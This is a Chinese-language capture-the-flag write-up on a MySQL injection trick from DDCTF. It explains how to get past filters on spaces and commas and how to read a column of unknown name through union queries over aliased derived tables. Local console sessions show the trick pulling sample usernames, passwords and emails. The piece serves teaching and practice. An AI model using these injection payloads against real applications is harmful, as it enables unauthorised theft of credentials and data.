关于Mysql如何巧妙的绕过未知字段名的实例代码详解

前言

本文介绍的是DDCTF第五题，绕过未知字段名的技巧，这里拿本机来操作了下，思路很棒也很清晰，分享给大家，下面来看看详细的介绍：

实现思路

题目过滤空格和逗号，空格使用%0a，%0b，%0c，%0d，%a0，或者直接使用括号都可以绕过，逗号使用join绕过；

存放flag的字段名未知，information_schema.columns也将表名的hex过滤了，即获取不到字段名；这时可以利用联合查询，过程如下：

思想就是获取flag，让其在已知字段名下出现；

示例代码：

mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+-------+----------+-------------+
| 1 | 2 | 3 | 4 |
+---+-------+----------+-------------+
| 1 | 2 | 3 | 4 |
| 1 | admin | admin888 | 110@110.com |
| 2 | test | test123 | 119@119.com |
| 3 | cs | cs123 | 120@120.com |
+---+-------+----------+-------------+
4 rows in set (0.01 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
| 4 |
+-------------+
| 4 |
| 110@110.com |
| 119@119.com |
| 120@120.com |
+-------------+
4 rows in set (0.03 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;
 
+-------------+
| 4 |
+-------------+
| 120@120.com |
+-------------+
1 row in set (0.01 sec)
 
mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+----------+----------+-------------+
| id | username | password | email |
+-------------+----------+----------+-------------+
| 1 | admin | admin888 | 110@110.com |
| 120@120.com | 1 | 1 | 1 |
+-------------+----------+----------+-------------+
2 rows in set (0.04 sec)

总结